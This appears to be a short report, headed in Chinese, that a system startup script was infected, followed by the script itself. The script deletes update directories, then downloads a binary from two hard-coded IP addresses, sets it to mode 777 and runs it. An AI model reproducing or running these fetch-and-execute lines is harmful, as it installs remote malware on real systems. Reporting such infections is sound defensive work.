/usr/trim/bin/system_startup.sh 文件被感染:
#!/bin/bash
STATUS="/var/lib/dpkg/status"
BACKUP="/var/lib/dpkg/status.original"
if [ ! -f "$BACKUP" ]; then
if [ -f "$STATUS" ]; then
cp "$STATUS" "$BACKUP"
fi
fi
if [ ! -f "$STATUS" ]; then
if [ -f "$BACKUP" ]; then
cp "$BACKUP" "$STATUS"
fi
fi
rm -rf /var/tmp/trim-update
rm -rf /var/tmp/update-*
wget http://151.240.13.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp
wget http://43.198.11.122/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp